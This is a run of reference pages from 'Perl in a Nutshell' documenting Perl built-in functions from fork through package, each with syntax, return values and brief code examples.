Spawns a child process that executes the code immediately following the fork call until the process is terminated (usually with an exit). The child process runs parallel to the parent process and shares all the parent's variables and open filehandles. The function returns the child pid to the parent process and 0 to the child process on success. If it fails, it returns the undefined value to the parent process, and no child process is created. If you fork your child processes, you'll have to wait on their zombies when they die. See the wait function for more information. The fork function is unlikely to be implemented on any operating system not resembling Unix, unless it purports POSIX compliance.

Previous: Reference: flock | Perl in a Nutshell | Next: Reference: formline
Reference: flock | Book Index | Reference: formline


Reference: formline

Perl in a Nutshell

Perl in a NutshellSearch this book

formline

formline picture, variables

Internal function used by formats, although you may also call it. It formats a list of values (variables) according to the contents of picture, placing the output into the format output accumulator, $^A. When a write is done, the contents of $^A are written to some filehandle, but you could also read $^A yourself and set $^A back to "". Note that a format typically does one formline per line of form, but the formline function itself doesn't care how many newlines are embedded in the picture. This means that the ~ and ~~ tokens will treat the entire picture as a single line. Thus, you may need to use multiple formlines to implement a single record-format, like the format compiler.

Be careful if you put double quotes around the picture, since an @ character may be taken to mean the beginning of an array name. formline always returns true. See Section 4.10, "Formats" in Chapter 4 for more information.

Previous: Reference: fork | Perl in a Nutshell | Next: Reference: getc
Reference: fork | Book Index | Reference: getc


Reference: getc

Perl in a Nutshell

Perl in a NutshellSearch this book

getc

getc filehandle

Returns the next byte from the input file attached to filehandle. At end-of-file, it returns a null string. If filehandle is omitted, the function reads from STDIN. This operator is very slow, but is occasionally useful for single-character input from the keyboard.

Previous: Reference: formline | Perl in a Nutshell | Next: Reference: getgrent
Reference: formline | Book Index | Reference: getgrent


Reference: getgrent

Perl in a Nutshell

Perl in a NutshellSearch this book

getgrent

getgrent

Returns the next entry from the systems group file (usually /etc/group on Unix systems) starting from the top. Returns null when EOF is reached. The return value from getgrent in list context is:

($name, $passwd, $gid, $members)
where $members contains a space-separated list of the login names of the members of the group. In scalar context, getgrent returns only the group name.

Previous: Reference: getc | Perl in a Nutshell | Next: Reference: getgrgid
Reference: getc | Book Index | Reference: getgrgid


Reference: getgrgid

Perl in a Nutshell

Perl in a NutshellSearch this book

getgrgid

getgrgid gid

Retrieves a group file (/etc/group) entry by group number gid. The return value in list context is:

($name, $passwd, $gid, $members)
where $members contains a space-separated list of the login names of the members of the group. If you want to do this repeatedly, consider caching the data in a hash using getgrent. In scalar context, getgrgid returns only the group name.

Previous: Reference: getgrent | Perl in a Nutshell | Next: Reference: getgrnam
Reference: getgrent | Book Index | Reference: getgrnam


Reference: getgrnam

Perl in a Nutshell

Perl in a NutshellSearch this book

getgrnam

getgrnam name

Retrieves a group file entry by the group name name. The return value in list context is:

($name, $passwd, $gid, $members)
where $members contains a space-separated list of the login names of the members of the group. In scalar context, getgrnam returns only the numeric group ID.

Previous: Reference: getgrgid | Perl in a Nutshell | Next: Reference: gethostbyaddr
Reference: getgrgid | Book Index | Reference: gethostbyaddr


Reference: gethostbyaddr

Perl in a Nutshell

Perl in a NutshellSearch this book

gethostbyaddr

gethostbyaddr address, [addrtype]

Retrieves the hostname (and alternate addresses) of a packed binary network address. (addrtype indicates the type of address given. Since gethostbyaddr is used almost solely for Internet IP addresses, addrtype is not needed.) The return value in list context is:

($name, $aliases, $addrtype, $length, @addrs)
where @addrs is a list of packed binary addresses. In the Internet domain, each address is four bytes long and can be unpacked by saying something like:
($a, $b, $c, $d) = unpack('C4', $addrs[0]);
In scalar context, gethostbyaddr returns only the hostname.

Previous: Reference: getgrnam | Perl in a Nutshell | Next: Reference: gethostbyname
Reference: getgrnam | Book Index | Reference: gethostbyname


Reference: gethostbyname

Perl in a Nutshell

Perl in a NutshellSearch this book

gethostbyname

gethostbyname name

Retrieves the address (and other names) of a network hostname. The return value in list context is:

($name, $aliases, $addrtype, $length, @addrs)
where @addrs is a list of raw addresses. In scalar context, gethostbyname returns only the host address.

Previous: Reference: gethostbyaddr | Perl in a Nutshell | Next: Reference: gethostent
Reference: gethostbyaddr | Book Index | Reference: gethostent


Reference: gethostent

Perl in a Nutshell

Perl in a NutshellSearch this book

gethostent

gethostent

Retrieves the next entry from your system's network hosts file (usually /etc/hosts on Unix). The return value from gethostent is:

($name, $aliases, $addrtype, $length, @addrs)
where @addrs is a list of raw addresses. Scripts that use this function should not be considered portable.

Previous: Reference: gethostbyname | Perl in a Nutshell | Next: Reference: getlogin
Reference: gethostbyname | Book Index | Reference: getlogin


Reference: getlogin

Perl in a Nutshell

Perl in a NutshellSearch this book

getlogin

getlogin

Returns the current login from /etc/utmp (Unix systems only), if any. If null, use getpwuid. For example:

$login = getlogin || getpwuid($<) || "Intruder!!";

Previous: Reference: gethostent | Perl in a Nutshell | Next: Reference: getnetbyaddr
Reference: gethostent | Book Index | Reference: getnetbyaddr


Reference: getnetbyaddr

Perl in a Nutshell

Perl in a NutshellSearch this book

getnetbyaddr

getnetbyaddr address, [addrtype]

Retrieves the network name or names of the given network address. (addrtype indicates the type of address. Often this function is used for IP addresses, where the type is not needed.) The return value in list context is:

($name, $aliases, $addrtype, $net)
In scalar context, getnetbyaddr returns only the network name.

Previous: Reference: getlogin | Perl in a Nutshell | Next: Reference: getnetbyname
Reference: getlogin | Book Index | Reference: getnetbyname


Reference: getnetbyname

Perl in a Nutshell

Perl in a NutshellSearch this book

getnetbyname

getnetbyname name

Retrieves the network address of a network name. The return value in list context is:

($name, $aliases, $addrtype, $net)
In scalar context, getnetbyname returns only the network address.

Previous: Reference: getnetbyaddr | Perl in a Nutshell | Next: Reference: getnetent
Reference: getnetbyaddr | Book Index | Reference: getnetent


Reference: getnetent

Perl in a Nutshell

Perl in a NutshellSearch this book

getnetent

getnetent

Retrieves the next line from your /etc/networks file, or system equivalent. The return value in list context is:

($name, $aliases, $addrtype, $net)
In scalar context, getnetent returns only the network name.

Previous: Reference: getnetbyname | Perl in a Nutshell | Next: Reference: getpeername
Reference: getnetbyname | Book Index | Reference: getpeername


Reference: getpeername

Perl in a Nutshell

Perl in a NutshellSearch this book

getpeername

getpeername socket

Returns the packed socket address of the other end of the socket connection. For example:

use Socket;
$hersockaddr = getpeername SOCK;
($port, $heraddr) = unpack_sockaddr_in($hersockaddr);
$herhostname = gethostbyaddr($heraddr, AF_INET);
$herstraddr = inet_ntoa($heraddr);

Previous: Reference: getnetent | Perl in a Nutshell | Next: Reference: getpgrp
Reference: getnetent | Book Index | Reference: getpgrp


Reference: getpgrp

Perl in a Nutshell

Perl in a NutshellSearch this book

getpgrp

getpgrp pid

Returns the current process group for the specified process ID (pid). Use a pid of 0 for the current process. Invoking getpgrp will produce a fatal error if used on a machine that doesn't implement the getpgrp system call. If pid is omitted, the function returns the process group of the current process (the same as using a pid of 0). On systems implementing this operator with the POSIX getpgrp(2) system call, pid must be omitted or, if supplied, must be 0.

Previous: Reference: getpeername | Perl in a Nutshell | Next: Reference: getppid
Reference: getpeername | Book Index | Reference: getppid


Reference: getppid

Perl in a Nutshell

Perl in a NutshellSearch this book

getppid

getppid

Returns the process ID of the parent process. On the typical Unix system, if your parent process ID changes to 1, your parent process has died and you've been adopted by the init program.

Previous: Reference: getpgrp | Perl in a Nutshell | Next: Reference: getpriority
Reference: getpgrp | Book Index | Reference: getpriority


Reference: getpriority

Perl in a Nutshell

Perl in a NutshellSearch this book

getpriority

getpriority type, id

Returns the current priority for a process, a process group, or a user. type indicates which of these three process types to return. (The type identifiers are system-specific. Consult the manpage for getpriority.) The id gives the specific ID of the corresponding process type in type: a process ID, a process-group ID, or a user ID. The value 0 in who gives the priority for the current process, process group, or user.

The priority will be an integer value. Lower values indicate higher priority (negative values may be returned on some systems). Invoking getpriority will produce a fatal error if used on a machine that doesn't implement the getpriority system call.

Previous: Reference: getppid | Perl in a Nutshell | Next: Reference: getprotobyname
Reference: getppid | Book Index | Reference: getprotobyname


Reference: getprotobyname

Perl in a Nutshell

Perl in a NutshellSearch this book

getprotobyname

getprotobyname name

Translates a protocol name to its corresponding number. The return value in list context is:

($name, $aliases, $protocol_number)
In scalar context, getprotobyname returns only the protocol number.

Previous: Reference: getpriority | Perl in a Nutshell | Next: Reference: getprotobynumber
Reference: getpriority | Book Index | Reference: getprotobynumber


Reference: getprotobynumber

Perl in a Nutshell

Perl in a NutshellSearch this book

getprotobynumber

getprotobynumber number

Translates a protocol number to its corresponding name. The return value in list context is:

($name, $aliases, $protocol_number)
In scalar context, getprotobynumber returns only the protocol name.

Previous: Reference: getprotobyname | Perl in a Nutshell | Next: Reference: getprotoent
Reference: getprotobyname | Book Index | Reference: getprotoent


Reference: getprotoent

Perl in a Nutshell

Perl in a NutshellSearch this book

getprotoent

getprotoent

Retrieves the next line from the /etc/protocols file (on some Unix systems). Returns null at the end of the file. The return value from getprotoent is:

($name, $aliases, $protocol_number)
In scalar context, getprotoent returns only the protocol name.

Previous: Reference: getprotobynumber | Perl in a Nutshell | Next: Reference: getpwent
Reference: getprotobynumber | Book Index | Reference: getpwent


Reference: getpwent

Perl in a Nutshell

Perl in a NutshellSearch this book

getpwent

getpwent

Retrieves the next line from the /etc/passwd file (or its equivalent coming from some server somewhere). Returns null at the end of the file. The return value in list context is:

($name,$passwd,$uid,$gid,$quota,$comment,$gcos,$dir,$shell)
Some machines may use the quota and comment fields for other purposes, but the remaining fields will always be the same. To set up a hash for translating login names to uids, do this:
while (($name, $passwd, $uid) = getpwent) {
    $uid{$name} = $uid;
}
In scalar context, getpwent returns only the username.

Previous: Reference: getprotoent | Perl in a Nutshell | Next: Reference: getpwnam
Reference: getprotoent | Book Index | Reference: getpwnam


Reference: getpwnam

Perl in a Nutshell

Perl in a NutshellSearch this book

getpwnam

getpwnam name

Retrieves the passwd file entry of a user, name. The return value in list context is:

($name,$passwd,$uid,$gid,$quota,$comment,$gcos,$dir,$shell)
If you want to do this repeatedly, consider caching the data in a hash using getpwent.

In scalar context, getpwnam returns only the numeric user ID.

Previous: Reference: getpwent | Perl in a Nutshell | Next: Reference: getpwuid
Reference: getpwent | Book Index | Reference: getpwuid


Reference: getpwuid

Perl in a Nutshell

Perl in a NutshellSearch this book

getpwuid

getpwuid uid

Retrieves the passwd file entry with the user ID uid. The return value in list context is:

($name,$passwd,$uid,$gid,$quota,$comment,$gcos,$dir,$shell)
If you want to do this repeatedly, consider slurping the data into a hash using getpwent.

In scalar context, getpwuid returns the username.

Previous: Reference: getpwnam | Perl in a Nutshell | Next: Reference: getservbyname
Reference: getpwnam | Book Index | Reference: getservbyname


Reference: getservbyname

Perl in a Nutshell

Perl in a NutshellSearch this book

getservbyname

getservbyname name, proto

Translates a service (port) name to its corresponding port number. proto is a protocol name such as "tcp". The return value in list context is:

($name, $aliases, $port_number, $protocol_name)
In scalar context, getservbyname returns only the service port number.

Previous: Reference: getpwuid | Perl in a Nutshell | Next: Reference: getservbyport
Reference: getpwuid | Book Index | Reference: getservbyport


Reference: getservbyport

Perl in a Nutshell

Perl in a NutshellSearch this book

getservbyport

getservbyport port, proto

Translates a service (port) number to its corresponding names. proto is a protocol name such as "tcp". The return value in list context is:

($name, $aliases, $port_number, $protocol_name)
In scalar context, getservbyport returns only the service port name.

Previous: Reference: getservbyname | Perl in a Nutshell | Next: Reference: getservent
Reference: getservbyname | Book Index | Reference: getservent


Reference: getservent

Perl in a Nutshell

Perl in a NutshellSearch this book

getservent

getservent

Retrieves the next listing from the /etc/services file or its equivalent. Returns null at the end of the file. The return value in list context is:

($name, $aliases, $port_number, $protocol_name)
In scalar context, getservent returns only the service port name.

Previous: Reference: getservbyport | Perl in a Nutshell | Next: Reference: getsockname
Reference: getservbyport | Book Index | Reference: getsockname


Reference: getsockname

Perl in a Nutshell

Perl in a NutshellSearch this book

getsockname

getsockname socket

Returns the packed socket address of this end of the socket connection.

Previous: Reference: getservent | Perl in a Nutshell | Next: Reference: getsockopt
Reference: getservent | Book Index | Reference: getsockopt


Reference: getsockopt

Perl in a Nutshell

Perl in a NutshellSearch this book

getsockopt

getsockopt socket, level, optname

Returns the value of the socket option optname, or the undefined value if there is an error. level identifies the protocol level used by socket. Options vary for different protocols. See also setsockopt.

Previous: Reference: getsockname | Perl in a Nutshell | Next: Reference: glob
Reference: getsockname | Book Index | Reference: glob


Reference: glob

Perl in a Nutshell

Perl in a NutshellSearch this book

glob

glob expr

Performs filename expansion (globbing) on expr, returning the next successive name on each call. If expr is omitted, $_ is globbed instead. This is the internal function implementing the <*> operator, except that it may be easier to type this way.

The glob function is not related to the Perl notion of typeglobs, other than that they both use a * to represent multiple items.

Previous: Reference: getsockopt | Perl in a Nutshell | Next: Reference: gmtime
Reference: getsockopt | Book Index | Reference: gmtime


Reference: gmtime

Perl in a Nutshell

Perl in a NutshellSearch this book

gmtime

gmtime expr

Converts a time string as returned by the time function to a nine-element list with the time correct for Greenwich Mean Time zone (a.k.a. GMT, UTC, etc.). Typically used as follows:

($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
        gmtime(time);
All list elements are numeric and come straight out of a C language struct tm. In particular this means that $mon has the range 0..11, $wday has the range 0..6, and the year has had 1,900 subtracted from it. (You can remember which ones are 0-based because those are the ones you're always using as subscripts into 0-based arrays containing month and day names.) If expr is omitted, it does gmtime(time). For example, to print the current month in London:
$london_month = (qw(Jan Feb Mar Apr May Jun
        Jul Aug Sep Oct Nov Dec))[(gmtime)[4]];
The Perl library module Time::Local contains a subroutine, timegm(), that can convert in the opposite direction.

In scalar context, gmtime returns a ctime(3)-like string based on the GMT time value.

Previous: Reference: glob | Perl in a Nutshell | Next: Reference: goto
Reference: glob | Book Index | Reference: goto


Reference: goto

Perl in a Nutshell

Perl in a NutshellSearch this book

goto

goto label
goto &name

Finds the statement labeled with label (or an expression that evaluates to a label) and resumes execution there. It may not be used to go into any construct that requires initialization, such as a subroutine or a foreach loop. It also can't be used to go into a construct that is optimized away. It can be used to go almost anywhere else within the dynamic scope, including out of subroutines, but for that purpose it's usually better to use some other construct such as last or die.

goto &name substitutes a call to the named subroutine for the currently running subroutine. This is used by AUTOLOAD subroutines that wish to load another subroutine and then pretend that this subroutine - and not the original one - had been called in the first place (except that any modifications to @_ in the original subroutine are propagated to the replacement subroutine). After the goto, not even caller will be able to tell that the original routine was called first.

Previous: Reference: gmtime | Perl in a Nutshell | Next: Reference: grep
Reference: gmtime | Book Index | Reference: grep


Reference: grep

Perl in a Nutshell

Perl in a NutshellSearch this book

grep

grep expr, list
grep {block} list

Evaluates expr or block in a Boolean context for each element of list, temporarily setting $_ to each element in turn. In list context, it returns a list of those elements for which the expression is true. Mostly used like Unix grep where expr is a search pattern, and list elements that match are returned. In scalar context, grep returns the number of times the expression was true.

For example, presuming @all_lines contains lines of code, this example weeds out comment lines:

@code_lines = grep !/^#/, @all_lines;

Previous: Reference: goto | Perl in a Nutshell | Next: Reference: hex
Reference: goto | Book Index | Reference: hex


Reference: hex

Perl in a Nutshell

Perl in a NutshellSearch this book

hex

hex hexnum

Converts a hexadecimal string hexnum into its equivalent decimal value. If hexnum is omitted, it interprets $_. The following code sets $number to 4,294,906,560:

$number = hex("ffff12c0");
To do the inverse function, use:
sprintf "%lx", $number;   # (That's a letter 'l', not a one.)

Previous: Reference: grep | Perl in a Nutshell | Next: Reference: index
Reference: grep | Book Index | Reference: index


Reference: index

Perl in a Nutshell

Perl in a NutshellSearch this book

index

index string, substr, [start]

Returns the position of the first occurrence of substr in string. The start, if specified, specifies the position to start looking in the string. Positions are integer numbers based at 0. If the substring is not found, the index function returns -1.

Previous: Reference: hex | Perl in a Nutshell | Next: Reference: int
Reference: hex | Book Index | Reference: int


Reference: int

Perl in a Nutshell

Perl in a NutshellSearch this book

int

int num

Returns the integer portion of num. If num is omitted, the function uses $_.

Previous: Reference: index | Perl in a Nutshell | Next: Reference: ioctl
Reference: index | Book Index | Reference: ioctl


Reference: ioctl

Perl in a Nutshell

Perl in a NutshellSearch this book

ioctl

ioctl filehandle, function, arg

Calls the ioctl Unix system call to perform function (with the function-specific arg) on the file or device opened with filehandle. See fcntl for a description of return values.

Previous: Reference: int | Perl in a Nutshell | Next: Reference: join
Reference: int | Book Index | Reference: join


Reference: join

Perl in a Nutshell

Perl in a NutshellSearch this book

join

join char, list

Joins the separate strings of list into a single string with fields separated by the value of char, and returns the string. For example:

$_ = join ':', $login,$passwd,$uid,$gid,$gcos,$home,$shell;
To do the opposite, see split. To join things together into fixed-position fields, see pack.

Previous: Reference: ioctl | Perl in a Nutshell | Next: Reference: keys
Reference: ioctl | Book Index | Reference: keys


Reference: keys

Perl in a Nutshell

Perl in a NutshellSearch this book

keys

keys %hash

Returns a list consisting of all the keys of the named hash. The keys are returned in an apparently random order, but it is the same order that either the values or each function produces (assuming that the hash has not been modified between calls).

In scalar context, keys returns the number of elements of the hash (and resets the each iterator).

keys can be used as an lvalue to increase the number of hash buckets allocated for the hash:

keys %hash = 200;

Previous: Reference: join | Perl in a Nutshell | Next: Reference: kill
Reference: join | Book Index | Reference: kill


Reference: kill

Perl in a Nutshell

Perl in a NutshellSearch this book

kill

kill sig, processes

Sends a signal, sig, to a list of processes. You may use a signal name in quotes (without a SIG on the front). This function returns the number of processes successfully signaled. If the signal is negative, the function kills process groups instead of processes.

Previous: Reference: keys | Perl in a Nutshell | Next: Reference: last
Reference: keys | Book Index | Reference: last


Reference: last

Perl in a Nutshell

Perl in a NutshellSearch this book

last

last label

Immediately exits the loop identified by label. If label is omitted, the command refers to the innermost enclosing loop.

Previous: Reference: kill | Perl in a Nutshell | Next: Reference: lc
Reference: kill | Book Index | Reference: lc


Reference: lc

Perl in a Nutshell

Perl in a NutshellSearch this book

lc

lc string

Returns a lowercase version of string (or $_ if omitted). This is the internal function implementing the \L escape in double-quoted strings.

Previous: Reference: last | Perl in a Nutshell | Next: Reference: lcfirst
Reference: last | Book Index | Reference: lcfirst


Reference: lcfirst

Perl in a Nutshell

Perl in a NutshellSearch this book

lcfirst

lcfirst string

Returns a version of string (or $_ if omitted) with the first character lowercased. This is the internal function implementing the \l escape in double-quoted strings.

Previous: Reference: lc | Perl in a Nutshell | Next: Reference: length
Reference: lc | Book Index | Reference: length


Reference: length

Perl in a Nutshell

Perl in a NutshellSearch this book

length

length val

Returns the length in bytes of the scalar value val. If val is omitted, the function returns the length of $_.

Do not try to use length to find the size of an array or hash. Use scalar @array for the size of an array, and scalar keys %hash for the size of a hash.

Previous: Reference: lcfirst | Perl in a Nutshell | Next: Reference: link
Reference: lcfirst | Book Index | Reference: link


Reference: link

Perl in a Nutshell

Perl in a NutshellSearch this book

link

link oldfile, newfile

Creates a Unix hard link from a new filename, newfile, to an existing file, oldfile, on the same filesystem. The function returns 1 for success, 0 otherwise (and puts the error code into $!). This function is unlikely to be implemented on non-Unix systems. See also symlink.

Previous: Reference: length | Perl in a Nutshell | Next: Reference: listen
Reference: length | Book Index | Reference: listen


Reference: listen

Perl in a Nutshell

Perl in a NutshellSearch this book

listen

listen socket, queuesize

Tells the operating system that you are ready to accept connections on socket and sets the number of waiting connections to queuesize. If the queue is full, clients trying to connect to the socket will be refused connection.

Previous: Reference: link | Perl in a Nutshell | Next: Reference: local
Reference: link | Book Index | Reference: local


Reference: local

Perl in a Nutshell

Perl in a NutshellSearch this book

local

local vars

Declares one or more global variables vars to have temporary values within the innermost enclosing block, subroutine, eval, or file. The new value is initially undef for scalars and () for arrays and hashes. If more than one variable is listed, the list must be placed in parentheses, because the operator binds more tightly than a comma. All the listed variables must be legal lvalues, that is, something you could assign to. This operator works by saving the current values of those variables on a hidden stack and restoring them upon exiting the block, subroutine, or eval, or file.

Subroutines called within the scope of a local variable will see the localized inner value of the variable. The technical term for this process is "dynamic scoping." Use my for true private variables.

Previous: Reference: listen | Perl in a Nutshell | Next: Reference: localtime
Reference: listen | Book Index | Reference: localtime


Reference: localtime

Perl in a Nutshell

Perl in a NutshellSearch this book

localtime

localtime val

Converts the value returned by time to a nine-element list with the time corrected for the local time zone. It's typically used as follows:

($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
        localtime(time);
All list elements are numeric. The element $mon (month) has the range 0..11, and $wday (weekday) has the range 0..6. The year has had 1,900 subtracted from it. (You can remember which ones are 0-based because those are the ones you're always using as subscripts into 0-based arrays containing month and day names.) If val is omitted, it does localtime(time). For example, to get the name of the current day of the week:
$thisday = (Sun,Mon,Tue,Wed,Thu,Fri,Sat)[(localtime)[6]];
The Perl library module Time::Local contains a subroutine, timelocal(), that can convert in the opposite direction.

In scalar context, localtime returns a ctime(3)-like string based on the localtime value.

Previous: Reference: local | Perl in a Nutshell | Next: Reference: log
Reference: local | Book Index | Reference: log


Reference: log

Perl in a Nutshell

Perl in a NutshellSearch this book

log

log num

Returns logarithm (base e) of num. If num is omitted, the function uses $_.

Previous: Reference: localtime | Perl in a Nutshell | Next: Reference: lstat
Reference: localtime | Book Index | Reference: lstat


Reference: lstat

Perl in a Nutshell

Perl in a NutshellSearch this book

lstat

lstat file

Like stat, returns information on file, except that if file is a symbolic link, lstat returns information about the link; stat returns information about the file pointed to by the link. (If symbolic links are unimplemented on your system, a normal stat is done instead.)

Previous: Reference: log | Perl in a Nutshell | Next: Reference: map
Reference: log | Book Index | Reference: map


Reference: map

Perl in a Nutshell

Perl in a NutshellSearch this book

map

map {block} list
map expr, list

Evaluates the block or expr for each element of list (locally setting $_ to each element) and returns the list value composed of the results of each such evaluation. It evaluates block or expr in a list context, so each element of list may produce zero, one, or more elements in the returned value. These are all flattened into one list. For instance:

@words = map { split ' ' } @lines;
splits a list of lines into a list of words. Often, though, there is a one-to-one mapping between input values and output values:
@chars = map chr, @nums;
This statement translates a list of numbers to the corresponding characters.

Previous: Reference: lstat | Perl in a Nutshell | Next: Reference: mkdir
Reference: lstat | Book Index | Reference: mkdir


Reference: mkdir

Perl in a Nutshell

Perl in a NutshellSearch this book

mkdir

mkdir filename, mode

Creates the directory specified by filename, with permissions specified by the numeric mode (as modified by the current umask). If it succeeds, it returns 1; otherwise, it returns 0 and sets $! (from the value of errno).

Previous: Reference: map | Perl in a Nutshell | Next: Reference: msgctl
Reference: map | Book Index | Reference: msgctl


Reference: msgctl

Perl in a Nutshell

Perl in a NutshellSearch this book

msgctl

msgctl id, cmd, arg

Calls the msgctl system call, which is used to perform different control operations on IPC message queues. See the msgctl documentation on your system for details. If cmd is &IPC_STAT, then arg must be a variable that will hold the returned msqid_ds structure. The return values work like those of fnctl: the undefined value for error, "0 but true" for zero, or the actual return value otherwise. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "msg.ph";
This function is available only on machines supporting System V IPC.

Previous: Reference: mkdir | Perl in a Nutshell | Next: Reference: msgget
Reference: mkdir | Book Index | Reference: msgget


Reference: msgget

Perl in a Nutshell

Perl in a NutshellSearch this book

msgget

msgget key, flags

Calls the System V IPC msgget system call. See the msgget documentation on your system for details. The function returns the message queue ID, or the undefined value if there is an error. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "msg.ph";
This function is available only on machines supporting System V IPC.

Previous: Reference: msgctl | Perl in a Nutshell | Next: Reference: msgrcv
Reference: msgctl | Book Index | Reference: msgrcv


Reference: msgrcv

Perl in a Nutshell

Perl in a NutshellSearch this book

msgrcv

msgrcv id, var, size, type, flags

Calls the System V IPC msgrcv system call to receive a message from message queue id into variable var with a maximum message size of size. When a message is received, the message type will be the first thing in var, and the maximum length of var is size plus the size of the message type. The function returns true if successful, or false if there is an error. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "msg.ph";
This function is available only on machines supporting System V IPC.

Previous: Reference: msgget | Perl in a Nutshell | Next: Reference: msgsnd
Reference: msgget | Book Index | Reference: msgsnd


Reference: msgsnd

Perl in a Nutshell

Perl in a NutshellSearch this book

msgsnd

msgsnd id, msg, flags

Calls the System V IPC msgsnd system call to send the message msg to the message queue id. msg must begin with the long integer message type. You can create a message like this:

$msg = pack "L a*", $type, $text_of_message;
The function returns true if successful, or false if there is an error. On error, it puts the error code into $!. Before calling, you should say:
require "ipc.ph";
require "msg.ph";
This function is available only on machines supporting System V IPC.

Previous: Reference: msgrcv | Perl in a Nutshell | Next: Reference: my
Reference: msgrcv | Book Index | Reference: my


Reference: my

Perl in a Nutshell

Perl in a NutshellSearch this book

my

my vars

Declares one or more private variables to exist only within the innermost enclosing block, subroutine, eval, or file. The new value is initially undef for scalars and () for arrays and hashes. If more than one variable is listed, the list must be placed in parentheses, because the operator binds more tightly than a comma. Only simple scalars or complete arrays and hashes may be declared this way. The variable name may not be package-qualified, because package variables are all global, and private variables are not related to any package.

Unlike local, this operator has nothing to do with global variables, other than hiding any other variable of the same name from view within its scope. (A global variable can always be accessed through its package-qualified form or a symbolic reference, however.) A private variable is not visible until the statement after its declaration. Subroutines called from within the scope of such a private variable cannot see the private variable unless the subroutine is also textually declared within the scope of the variable.

Previous: Reference: msgsnd | Perl in a Nutshell | Next: Reference: next
Reference: msgsnd | Book Index | Reference: next


Reference: next

Perl in a Nutshell

Perl in a NutshellSearch this book

next

next label

Immediately jumps to the next iteration of the loop identified by label or the innermost enclosing loop, if there is no argument. If there is a continue block, it will be executed immediately after the next, before the loop is reiterated.

Previous: Reference: my | Perl in a Nutshell | Next: Reference: no
Reference: my | Book Index | Reference: no


Reference: no

Perl in a Nutshell

Perl in a NutshellSearch this book

no

no Module list

Effectively "undoes" the use function. Used to deactivate pragmas (compiler directives) for sections of your program. For instance:

no strict 'refs'
allows soft references to the end of the block scope, if:
use strict 'refs'
was previously invoked.

Previous: Reference: next | Perl in a Nutshell | Next: Reference: oct
Reference: next | Book Index | Reference: oct


Reference: oct

Perl in a Nutshell

Perl in a NutshellSearch this book

oct

oct ostring

Interprets ostring as an octal string and returns the equivalent decimal value. (If ostring happens to start off with 0x, it is interpreted as a hex string instead.) The following will handle decimal, octal, and hex in the standard notation:

$val = oct $val if $val =~ /^0/;
If ostring is omitted, the function interprets $_. To perform the inverse function on octal numbers, use:
$oct_string = sprintf "%lo", $number;

Previous: Reference: no | Perl in a Nutshell | Next: Reference: open
Reference: no | Book Index | Reference: open


Reference: open

Perl in a Nutshell

Perl in a NutshellSearch this book

open

open filehandle, filename

Opens the file given by filename, and associates it with filehandle. If filehandle is omitted, the scalar variable of the same name as the filehandle must contain the filename. (And you must also be careful to use "or die" after the statement rather than "|| die", because the precedence of || is higher than list operators like open.)

If filename is preceded by either < or nothing, the file is opened for input (read-only). If filename is preceded by >, the file is opened for output. If the file doesn't exist, it will be created; if the file exists, it will be overwritten with output using >. Preceding the filename with >> opens an output file for appending. For both read and write access, use a + before either < or >.

A filehandle may also be attached to a process by using a piped command. If the filename begins with |, the filename is interpreted as a command to which output is to be piped. If the filename ends with a |, the filename is interpreted as a command which pipes input to you. You may not have an open command that pipes both in and out.

Any pipe command containing shell metacharacters is passed to the shell for execution; otherwise, it is executed directly by Perl. The filename "-" refers to STDIN, and ">" refers to STDOUT. open returns non-zero upon success, the undefined value otherwise. If the open involved a pipe, the return value happens to be the process ID of the subprocess.

Previous: Reference: oct | Perl in a Nutshell | Next: Reference: opendir
Reference: oct | Book Index | Reference: opendir


Reference: opendir

Perl in a Nutshell

Perl in a NutshellSearch this book

opendir

opendir dirhandle, directory

Opens a directory for processing by readdir, telldir, seekdir, rewinddir, and closedir. The function returns true if successful. Directory handles have their own namespace separate from filehandles.

Previous: Reference: open | Perl in a Nutshell | Next: Reference: ord
Reference: open | Book Index | Reference: ord


Reference: ord

Perl in a Nutshell

Perl in a NutshellSearch this book

ord

ord expr

Returns the numeric ASCII value of the first character of expr. If expr is omitted, it uses $_. The return value is always unsigned. If you want a signed value, use unpack('c', expr). If you want all the characters of the string converted to a list of numbers, use unpack('C*', expr) instead.

Previous: Reference: opendir | Perl in a Nutshell | Next: Reference: pack
Reference: opendir | Book Index | Reference: pack


Reference: pack

Perl in a Nutshell

Perl in a NutshellSearch this book

pack

pack template, list

Takes a list of values and packs it into a binary structure, returning the string containing the structure. The template is a sequence of characters that give the order and type of values, as follows:

Character | Meaning
a | An ASCII string, will be null padded
A | An ASCII string, will be space padded
b | A bit string, low-to-high order (like vec())
B | A bit string, high-to-low order
c | A signed char value
C | An unsigned char value
d | A double-precision float in the native format
f | A single-precision float in the native format
h | A hexadecimal string, low nybble first
H | A hexadecimal string, high nybble first
i | A signed integer value
I | An unsigned integer value
l | A signed long value
L | An unsigned long value
n | A short in "network" (big-endian) order
N | A long in "network" (big-endian) order
p | A pointer to a string
P | A pointer to a structure (fixed-length string)
s | A signed short value
S | An unsigned short value
v | A short in "VAX" (little-endian) order
V | A long in "VAX" (little-endian) order
u | A uuencoded string
w | A BER compressed integer
x | A null byte
X | Back up a byte
@ | Null-fill to absolute position

Each character may optionally be followed by a number that gives a repeat count. Together the character and the repeat count make a field specifier. Field specifiers may be separated by whitespace, which will be ignored. With all types except a and A, the pack function will gobble up that many values from the list. Saying * for the repeat count means to use however many items are left. The a and A types gobble just one value, but pack it as a string of length count, padding with nulls or spaces as necessary. (When unpacking, A strips trailing spaces and nulls, but a does not.) Real numbers (floats and doubles) are in the native machine format only; due to the multiplicity of floating formats around, and the lack of a standard network representation, no facility for interchange has been made.

The same template may generally also be used in the unpack function. If you want to join variable length fields with a delimiter, use the join function.

Previous: Reference: ord | Perl in a Nutshell | Next: Reference: package
Reference: ord | Book Index | Reference: package


Reference: package

Perl in a Nutshell

Perl in a NutshellSearch this book

package

package namespace

Declares that the rest of the innermost enclosing block, subroutine, eval or file belongs to the indicated namespace. (The scope of a package declaration is thus the same as the scope of a local or my declaration.) All subsequent references to unqualified global identifiers will be resolved by looking them up in the declared packages symbol table. A package declaration affects only global variables - including those you've used local on - but not lexical variables created with my.

